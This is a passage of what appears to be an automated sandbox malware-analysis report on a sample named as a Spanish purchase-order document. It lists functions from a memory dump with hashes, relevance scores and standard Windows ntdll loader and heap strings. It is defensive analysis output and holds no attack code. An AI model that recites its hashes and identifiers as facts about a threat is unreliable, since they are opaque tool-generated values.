                                                                                                              • Instruction Fuzzy Hash: 8C027FB1D01269AFDF61DB54CC90BEAB7B8AF54304F4041DEEA09A7241DB309E85CF59
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 01710274 Relevance: 10.3, Strings: 8, Instructions: 348COMMON
                                                                                                              Download Yara Rule
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID: About to reallocate block at %p to %Ix bytes$About to rellocate block at %p to 0x%Ix bytes with tag %ws$HEAP: $HEAP[%wZ]: $Invalid allocation size - %Ix (exceeded %Ix)$Just reallocated block at %p to %Ix bytes$Just reallocated block at %p to 0x%Ix bytes with tag %ws$RtlReAllocateHeap
                                                                                                              • API String ID: 0-1700792311
                                                                                                              • Opcode ID: 7b899b587da503fd53d679b4854c0f61175d97c242cb2c2e01916890e6a2df45
                                                                                                              • Instruction ID: f7275680b9ecb3630261b3ba40f0d16ffc123f783fd295a2ce416bf575690987
                                                                                                              • Opcode Fuzzy Hash: 7b899b587da503fd53d679b4854c0f61175d97c242cb2c2e01916890e6a2df45
                                                                                                              • Instruction Fuzzy Hash: 07D1C931600686DFDB22DFACC840AAEFBF2FF4A710F188459F8469B256D7749981CB14
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 016963FF Relevance: 7.8, Strings: 6, Instructions: 261COMMON
                                                                                                              Download Yara Rule
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID: Delaying execution failed with status 0x%08lx$LDR:MRDATA: Process initialization failed with status 0x%08lx$NtWaitForSingleObject failed with status 0x%08lx, fallback to delay loop$Process initialization failed with status 0x%08lx$_LdrpInitialize$minkernel\ntdll\ldrinit.c
                                                                                                              • API String ID: 0-792281065
                                                                                                              • Opcode ID: ab85811f0dec3a264e17704b2590f9930dde3ffffac1d3a5337a6e40d8156d0d
                                                                                                              • Instruction ID: c3b9cbe986792f6dd04ceaacc5a22cb92cc60ac4f04c315f67f12a78c6a9a19e
                                                                                                              • Opcode Fuzzy Hash: ab85811f0dec3a264e17704b2590f9930dde3ffffac1d3a5337a6e40d8156d0d
                                                                                                              • Instruction Fuzzy Hash: EE914871E013159BEB25DF68DC94BAA7BA6AB40B24F14812DE9016B781DBB09C42CB94
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0165645D Relevance: 7.6, Strings: 6, Instructions: 150COMMON
                                                                                                              Download Yara Rule
                                                                                                              Strings
                                                                                                              • Building shim engine DLL system32 filename failed with status 0x%08lx, xrefs: 016B99ED
                                                                                                              • Getting the shim engine exports failed with status 0x%08lx, xrefs: 016B9A01
                                                                                                              • minkernel\ntdll\ldrinit.c, xrefs: 016B9A11, 016B9A3A
                                                                                                              • apphelp.dll, xrefs: 01656496
                                                                                                              • Loading the shim engine DLL failed with status 0x%08lx, xrefs: 016B9A2A
                                                                                                              • LdrpInitShimEngine, xrefs: 016B99F4, 016B9A07, 016B9A30
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID: Building shim engine DLL system32 filename failed with status 0x%08lx$Getting the shim engine exports failed with status 0x%08lx$LdrpInitShimEngine$Loading the shim engine DLL failed with status 0x%08lx$apphelp.dll$minkernel\ntdll\ldrinit.c
                                                                                                              • API String ID: 0-204845295
                                                                                                              • Opcode ID: cf96e0f7d805c43e2f40d627f1be779ef2c29b0df515b1f92a22f6cd3db5419c
                                                                                                              • Instruction ID: e2845e676991f034ae8b6e1f6d1803644c61687ccdb45a98465246af99abac89
                                                                                                              • Opcode Fuzzy Hash: cf96e0f7d805c43e2f40d627f1be779ef2c29b0df515b1f92a22f6cd3db5419c
                                                                                                              • Instruction Fuzzy Hash: E251D0B12083059BD720DF24DC81AAB7BE9FB84758F40491DFE869B260D770E944CB92
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 01692674 Relevance: 7.6, Strings: 6, Instructions: 110COMMON
                                                                                                              Download Yara Rule
                                                                                                              Strings
                                                                                                              • SXS: %s() bad parameters:SXS: Flags : 0x%lxSXS: AssemblyRosterIndex: 0x%lxSXS: AssemblyStorageRoot: %pSXS: Callback : %p, xrefs: 016D21BF
                                                                                                              • SXS: %s() passed the empty activation context, xrefs: 016D2165
                                                                                                              • SXS: RtlGetAssemblyStorageRoot() unable to get activation context data, storage map and assembly roster header. Status = 0x%08lx, xrefs: 016D2178
                                                                                                              • SXS: %s() bad parameters AssemblyRosterIndex 0x%lx >= AssemblyRosterHeader->EntryCount: 0x%lx, xrefs: 016D219F
                                                                                                              • SXS: RtlGetAssemblyStorageRoot() unable to resolve storage map entry. Status = 0x%08lx, xrefs: 016D2180
                                                                                                              • RtlGetAssemblyStorageRoot, xrefs: 016D2160, 016D219A, 016D21BA
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID: RtlGetAssemblyStorageRoot$SXS: %s() bad parameters AssemblyRosterIndex 0x%lx >= AssemblyRosterHeader->EntryCount: 0x%lx$SXS: %s() bad parameters:SXS: Flags : 0x%lxSXS: AssemblyRosterIndex: 0x%lxSXS: AssemblyStorageRoot: %pSXS: Callback : %p$SXS: %s() passed the empty activation context$SXS: RtlGetAssemblyStorageRoot() unable to get activation context data, storage map and assembly roster header. Status = 0x%08lx$SXS: RtlGetAssemblyStorageRoot() unable to resolve storage map entry. Status = 0x%08lx
                                                                                                              • API String ID: 0-861424205
                                                                                                              • Opcode ID: ac8315ecb4a43b61438996c9297a3ca4d6db14b1a372a73018cff28d7b4478ae
                                                                                                              • Instruction ID: 28f1adf07dcfaa272f41e8b4c57cd810e8828a8fbff15e5cc06f27a396238165
                                                                                                              • Opcode Fuzzy Hash: ac8315ecb4a43b61438996c9297a3ca4d6db14b1a372a73018cff28d7b4478ae
                                                                                                              • Instruction Fuzzy Hash: EC313976F00215BBFB218AA98C51F6F7A6DDBA5A51F05806DFB057B200D3709A01C6A1
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0169C6A6 Relevance: 7.6, Strings: 6, Instructions: 110COMMON
                                                                                                              Download Yara Rule
                                                                                                              Strings
                                                                                                              • minkernel\ntdll\ldrredirect.c, xrefs: 016D8181, 016D81F5
                                                                                                              • Loading import redirection DLL: '%wZ', xrefs: 016D8170
                                                                                                              • Unable to build import redirection Table, Status = 0x%x, xrefs: 016D81E5
                                                                                                              • minkernel\ntdll\ldrinit.c, xrefs: 0169C6C3
                                                                                                              • LdrpInitializeImportRedirection, xrefs: 016D8177, 016D81EB
                                                                                                              • LdrpInitializeProcess, xrefs: 0169C6C4
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID: LdrpInitializeImportRedirection$LdrpInitializeProcess$Loading import redirection DLL: '%wZ'$Unable to build import redirection Table, Status = 0x%x$minkernel\ntdll\ldrinit.c$minkernel\ntdll\ldrredirect.c
                                                                                                              • API String ID: 0-475462383
                                                                                                              • Opcode ID: dac3cc02ca8a062e7199a6329b84df3623ad885e866a10d4c63ba87ea7c32f2d
                                                                                                              • Instruction ID: 4c58c073c56f48b3a2160fa64f575af7337a69feac0ae8a2bd18dd13dbfdfcbe
                                                                                                              • Opcode Fuzzy Hash: dac3cc02ca8a062e7199a6329b84df3623ad885e866a10d4c63ba87ea7c32f2d
                                                                                                              • Instruction Fuzzy Hash: DB310471A443169BC314EF29DC46E1AB7D9EF90B20F04065CF9456B391E660EC04CBE6
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 016A096E Relevance: 6.6, APIs: 4, Instructions: 606COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                                • Part of subcall function 016A2DF0: LdrInitializeThunk.NTDLL ref: 016A2DFA
                                                                                                              • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 016A0BA3
                                                                                                              • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 016A0BB6
                                                                                                              • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 016A0D60
                                                                                                              • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 016A0D74
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$InitializeThunk
                                                                                                              • String ID:
                                                                                                              • API String ID: 1404860816-0
                                                                                                              • Opcode ID: f9c94d97480cbdac092ba091f061bbd6433b9cb0461348f16c1be16d6d90ada1
                                                                                                              • Instruction ID: 8ec7a7c97378a53e1e635bc0b478f743439b8414dea98388e05f6c17323355e9
                                                                                                              • Opcode Fuzzy Hash: f9c94d97480cbdac092ba091f061bbd6433b9cb0461348f16c1be16d6d90ada1
                                                                                                              • Instruction Fuzzy Hash: 66425C72900715DFDB21CF28CC80BAAB7F5BF44314F5445A9E989EB241E770A985CFA1
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0166A3C0 Relevance: 5.3, Strings: 4, Instructions: 290COMMON
                                                                                                              Download Yara Rule
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID: 6$8$LdrResFallbackLangList Enter$LdrResFallbackLangList Exit
                                                                                                              • API String ID: 0-379654539
                                                                                                              • Opcode ID: 1a1f442aa7317bf7b8fed193816b0ca6994ef960d17d9ea5f2d678df2a225dfe
                                                                                                              • Instruction ID: 5aabd2ff24b1cb4d9a25d21b7b44b27facd8eeca54304d517169e26c2ff82cd2
                                                                                                              • Opcode Fuzzy Hash: 1a1f442aa7317bf7b8fed193816b0ca6994ef960d17d9ea5f2d678df2a225dfe
                                                                                                              • Instruction Fuzzy Hash: D3C189751083828FD711CF98C844B6AB7E8FF84708F04896EF996AB351E734D94ACB56
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 01698402 Relevance: 5.3, Strings: 4, Instructions: 263COMMON
                                                                                                              Download Yara Rule
                                                                                                              Strings
                                                                                                              • @, xrefs: 01698591
                                                                                                              • minkernel\ntdll\ldrinit.c, xrefs: 01698421
                                                                                                              • LdrpInitializeProcess, xrefs: 01698422
                                                                                                              • \Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers, xrefs: 0169855E
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID: @$LdrpInitializeProcess$\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers$minkernel\ntdll\ldrinit.c
                                                                                                              • API String ID: 0-1918872054
                                                                                                              • Opcode ID: a36bf168681b9ed015d1798b292df054125db335d4771b932875b3ff13263ef9
                                                                                                              • Instruction ID: 74fcc171b9948007ba31ed835b833ff8c79320d81d256a5308519919c2388f56
                                                                                                              • Opcode Fuzzy Hash: a36bf168681b9ed015d1798b292df054125db335d4771b932875b3ff13263ef9
                                                                                                              • Instruction Fuzzy Hash: 6B91BA71548349AFEB21DE65CC80FABBAECBF85654F40492EFA8593101E330D908CB66
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0169273C Relevance: 5.2, Strings: 4, Instructions: 249COMMON
                                                                                                              Download Yara Rule
                                                                                                              Strings
                                                                                                              • RtlpGetActivationContextDataStorageMapAndRosterHeader, xrefs: 016D21D9, 016D22B1
                                                                                                              • SXS: %s() passed the empty activation context, xrefs: 016D21DE
                                                                                                              • SXS: %s() bad parameters:SXS: Flags : 0x%lxSXS: Peb : %pSXS: ActivationContextData: %pSXS: AssemblyStorageMap : %p, xrefs: 016D22B6
                                                                                                              • .Local, xrefs: 016928D8
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID: .Local$RtlpGetActivationContextDataStorageMapAndRosterHeader$SXS: %s() bad parameters:SXS: Flags : 0x%lxSXS: Peb : %pSXS: ActivationContextData: %pSXS: AssemblyStorageMap : %p$SXS: %s() passed the empty activation context
                                                                                                              • API String ID: 0-1239276146
                                                                                                              • Opcode ID: 374908b2a094c2240b56f580969302e195ec0a8f06e5221dcc8109201919922c
                                                                                                              • Instruction ID: 1b2cd3dd9ac78e86304676aa9909f8d87b30ed787746908b9e5b774935a20139
                                                                                                              • Opcode Fuzzy Hash: 374908b2a094c2240b56f580969302e195ec0a8f06e5221dcc8109201919922c
                                                                                                              • Instruction Fuzzy Hash: 22A19A31900229ABDF24CF69DC94BA9B7B9BF58314F1541EEE908AB351D7309E81CF94
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 016664AB Relevance: 5.2, Strings: 4, Instructions: 211COMMON
                                                                                                              Download Yara Rule
                                                                                                              Strings
                                                                                                              • ThreadPool: callback %p(%p) returned with background priorities set, xrefs: 016C10AE
                                                                                                              • ThreadPool: callback %p(%p) returned with a transaction uncleared, xrefs: 016C0FE5
                                                                                                              • ThreadPool: callback %p(%p) returned with preferred languages set, xrefs: 016C106B
                                                                                                              • ThreadPool: callback %p(%p) returned with the loader lock held, xrefs: 016C1028
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID: ThreadPool: callback %p(%p) returned with a transaction uncleared$ThreadPool: callback %p(%p) returned with background priorities set$ThreadPool: callback %p(%p) returned with preferred languages set$ThreadPool: callback %p(%p) returned with the loader lock held
                                                                                                              • API String ID: 0-1468400865
                                                                                                              • Opcode ID: fcf4609392d51540699efff12dd598a1db3ad7a80552496312b12c4f1c83ad03
                                                                                                              • Instruction ID: 7653c44e5a4aea6f2318558e8aa66b6b97afb775ce81a6293bca780907bde250
                                                                                                              • Opcode Fuzzy Hash: fcf4609392d51540699efff12dd598a1db3ad7a80552496312b12c4f1c83ad03
                                                                                                              • Instruction Fuzzy Hash: 3871CBB1904346AFCB21DF18CC85BAB7BADEF94B64F40046CF9498B246D734D589CB92
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0168245A Relevance: 5.1, Strings: 4, Instructions: 111COMMON
                                                                                                              Download Yara Rule
                                                                                                              Strings
                                                                                                              • LdrpDynamicShimModule, xrefs: 016CA998
                                                                                                              • minkernel\ntdll\ldrinit.c, xrefs: 016CA9A2
                                                                                                              • apphelp.dll, xrefs: 01682462
                                                                                                              • Getting ApphelpCheckModule failed with status 0x%08lx, xrefs: 016CA992
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID: Getting ApphelpCheckModule failed with status 0x%08lx$LdrpDynamicShimModule$apphelp.dll$minkernel\ntdll\ldrinit.c
                                                                                                              • API String ID: 0-176724104
                                                                                                              • Opcode ID: 1cc5556040584b851161f55beb50ebbb583f19c0511db75d1b34fe384ff0aa3c
                                                                                                              • Instruction ID: e577d2097add1dd6704619fb7082728786cd3d06199a0cd2d92173ed8b150f36
                                                                                                              • Opcode Fuzzy Hash: 1cc5556040584b851161f55beb50ebbb583f19c0511db75d1b34fe384ff0aa3c
                                                                                                              • Instruction Fuzzy Hash: E7315771A40305ABD731AF9DDC85ABABBB5FB80B24F15411DF80067355D7B06882C790
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 01670770 Relevance: 4.2, Strings: 3, Instructions: 414COMMON
                                                                                                              Download Yara Rule
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID: (UCRBlock->Size >= *Size)$HEAP: $HEAP[%wZ]:
                                                                                                              • API String ID: 0-4253913091
                                                                                                              • Opcode ID: 46c5ca93d58d743e26d4eb564cb77b4f6daa5c5f9ce4328bfbcec3ea06646de6
                                                                                                              • Instruction ID: c4476c5840661b727f76828aef56b64d0193938c335b584818b76bc81900cc83
                                                                                                              • Opcode Fuzzy Hash: 46c5ca93d58d743e26d4eb564cb77b4f6daa5c5f9ce4328bfbcec3ea06646de6
                                                                                                              • Instruction Fuzzy Hash: F5F18970700606DFEB25CF68CC94B7AB7B6FB46704F148169E5169B392D734E982CBA0
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 01686962 Relevance: 4.0, Strings: 2, Instructions: 1492COMMON
                                                                                                              Download Yara Rule
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID: InitializeThunk
                                                                                                              • String ID: $@
                                                                                                              • API String ID: 2994545307-1077428164
                                                                                                              • Opcode ID: 77a8fb8493e3f338459302fced55c4939460a9cbe616d3f05bc4e522fb4e8020
                                                                                                              • Instruction ID: 930e865c587e53356900af623bfe86820adb13b0c88c2dbd785d5bc2fdbda509
                                                                                                              • Opcode Fuzzy Hash: 77a8fb8493e3f338459302fced55c4939460a9cbe616d3f05bc4e522fb4e8020
                                                                                                              • Instruction Fuzzy Hash: C6C28E716083419FEB25DF29CC80BABBBE5EF88754F148A2DE98987341D734D845CB92
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0165A197 Relevance: 4.0, Strings: 3, Instructions: 238COMMON
                                                                                                              Download Yara Rule
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID: FilterFullPath$UseFilter$\??\
                                                                                                              • API String ID: 0-2779062949
                                                                                                              • Opcode ID: 0f1bfc5f52db0135e31bb88e89b646b759362e0154376de8612f7af4b6dfe87a
                                                                                                              • Instruction ID: 7639d7b7ad0c952f16e854e5e208b1c9a12da6dcd33558bd609ebdaa21d1db1e
                                                                                                              • Opcode Fuzzy Hash: 0f1bfc5f52db0135e31bb88e89b646b759362e0154376de8612f7af4b6dfe87a
                                                                                                              • Instruction Fuzzy Hash: 5EA168729116299BDB319F68CC88BEAB7B8EF44700F1041EAEA09A7250D7359FC5CF54
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0169C720 Relevance: 3.9, Strings: 3, Instructions: 141COMMON
                                                                                                              Download Yara Rule
                                                                                                              Strings
                                                                                                              • minkernel\ntdll\ldrinit.c, xrefs: 016D82E8
                                                                                                              • Failed to reallocate the system dirs string !, xrefs: 016D82D7
                                                                                                              • LdrpInitializePerUserWindowsDirectory, xrefs: 016D82DE
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID: Failed to reallocate the system dirs string !$LdrpInitializePerUserWindowsDirectory$minkernel\ntdll\ldrinit.c
                                                                                                              • API String ID: 0-1783798831
                                                                                                              • Opcode ID: 7f0108169b3d21bb336b7040d27da18313576576d17440706b3199232c3379d8
                                                                                                              • Instruction ID: 996cbcfd9b6122a387c34c64332d854f050f4d77c2d5ff0e381d27118cf71161
                                                                                                              • Opcode Fuzzy Hash: 7f0108169b3d21bb336b7040d27da18313576576d17440706b3199232c3379d8
                                                                                                              • Instruction Fuzzy Hash: B941C071544301EBDB21EB68DC44B6B7BE9EF54760F00892EF949D7290EBB0D800CBA5
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0171C188 Relevance: 3.9, Strings: 3, Instructions: 123COMMON
                                                                                                              Download Yara Rule
                                                                                                              Strings
                                                                                                              • PreferredUILanguages, xrefs: 0171C212
                                                                                                              • \Registry\Machine\System\CurrentControlSet\Control\MUI\Settings, xrefs: 0171C1C5
                                                                                                              • @, xrefs: 0171C1F1
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID: @$PreferredUILanguages$\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings
                                                                                                              • API String ID: 0-2968386058
                                                                                                              • Opcode ID: d4338e80f6b96bd8efeff918e920d2570048c437eb6fba0da35b08a137abee98
                                                                                                              • Instruction ID: fb52b3706083311ac9a00cbfb39a77548bfdd35fe573c98384fe8b188dd0cab6
                                                                                                              • Opcode Fuzzy Hash: d4338e80f6b96bd8efeff918e920d2570048c437eb6fba0da35b08a137abee98
                                                                                                              • Instruction Fuzzy Hash: F4418371E44219EBDF12DADCCC51FEEFBB9AB18700F00406AEA05B7244D7749A44CB54
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 016F4144 Relevance: 3.9, Strings: 3, Instructions: 121COMMON
                                                                                                              Download Yara Rule
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID: @$LdrpResValidateFilePath Enter$LdrpResValidateFilePath Exit
                                                                                                              • API String ID: 0-1373925480
                                                                                                              • Opcode ID: 5ee706bf6eab3191241e7dae13a0c523d13300eabb42cafacfafb3be6f10a467
                                                                                                              • Instruction ID: c8b86c7415bd4699ffcdd09c83797d241c5562973e586a7fdece4ad4e33e93c5
                                                                                                              • Opcode Fuzzy Hash: 5ee706bf6eab3191241e7dae13a0c523d13300eabb42cafacfafb3be6f10a467
                                                                                                              • Instruction Fuzzy Hash: E6411532A00258CBEB25DBE9CC44BAEBBB9FF55340F14046EDA01EBB81DB358901CB15
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 016E4755 Relevance: 3.9, Strings: 3, Instructions: 121COMMON
                                                                                                              Download Yara Rule
                                                                                                              Strings
                                                                                                              • Import Redirection: %wZ %wZ!%s redirected to %wZ, xrefs: 016E4888
                                                                                                              • minkernel\ntdll\ldrredirect.c, xrefs: 016E4899
                                                                                                              • LdrpCheckRedirection, xrefs: 016E488F
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID: Import Redirection: %wZ %wZ!%s redirected to %wZ$LdrpCheckRedirection$minkernel\ntdll\ldrredirect.c
                                                                                                              • API String ID: 0-3154609507
                                                                                                              • Opcode ID: 0d10a7d21186d7761289c0035f76624ef8ad4671b169c56f5ad5d3abbd35de00
                                                                                                              • Instruction ID: af10c36fb23a22717dcc793c0a30d83f5c2d9f5bcea4a20be8d9a847c35507d0
                                                                                                              • Opcode Fuzzy Hash: 0d10a7d21186d7761289c0035f76624ef8ad4671b169c56f5ad5d3abbd35de00
                                                                                                              • Instruction Fuzzy Hash: 1B41AF32A063519BCB21CE79DC48A277BE9AF89690F06076DED49DB351DB30D801CB91
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 016E20DE Relevance: 3.8, Strings: 3, Instructions: 41COMMON
                                                                                                              Download Yara Rule
                                                                                                              Strings
                                                                                                              • Process initialization failed with status 0x%08lx, xrefs: 016E20F3
                                                                                                              • minkernel\ntdll\ldrinit.c, xrefs: 016E2104
                                                                                                              • LdrpInitializationFailure, xrefs: 016E20FA
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID: LdrpInitializationFailure$Process initialization failed with status 0x%08lx$minkernel\ntdll\ldrinit.c
                                                                                                              • API String ID: 0-2986994758
                                                                                                              • Opcode ID: a02a17a001e2b889f2f603d61d675d0b5dbac1e9f2d721ae5390663d9db62469
                                                                                                              • Instruction ID: f4bfb1194201508c1036ed2e16b38be0df958054d938a111c4ea4c77f03d1835
                                                                                                              • Opcode Fuzzy Hash: a02a17a001e2b889f2f603d61d675d0b5dbac1e9f2d721ae5390663d9db62469
                                                                                                              • Instruction Fuzzy Hash: BCF02834A41308BFE720DA4CDC56FD93BADEB40B64F10001CF7016B281D2F0AA44CA41
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 016703E9 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 184COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
